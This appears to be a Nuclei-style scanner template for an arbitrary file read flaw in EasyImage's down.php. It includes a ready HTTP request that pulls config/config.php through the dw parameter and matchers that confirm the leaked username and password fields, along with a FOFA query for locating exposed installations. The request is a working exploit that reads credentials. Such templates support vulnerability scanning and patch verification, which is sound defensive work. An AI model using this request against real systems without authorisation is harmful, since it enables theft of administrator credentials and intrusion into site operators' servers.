id: easyimage-downphp-lfi

info:
  name: EasyImage down.php - Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: down.php file in EasyImage is vulnerable to arbitrary file read.
  reference:
    - https://github.com/qingchenhh/qc_poc/blob/main/Goby/EasyImage_down.php_file_read.go
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="EasyImage-简单图床"
  tags: easyimage,lfi,exposure,config

http:
  - method: GET
    path:
      - "{{BaseURL}}/application/down.php?dw=config/config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'user'=>"
          - "'password'=>"
          - "EasyImage"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bf267243d84f2f0a000d3b521db440bfcec89da235bf83e9e06e28fedfe98fb1022015777429d81711a112ffa129ea0bda0b803209b30f2811244562b9fcf869c433:922c64590222798bb761d5b6d8e72950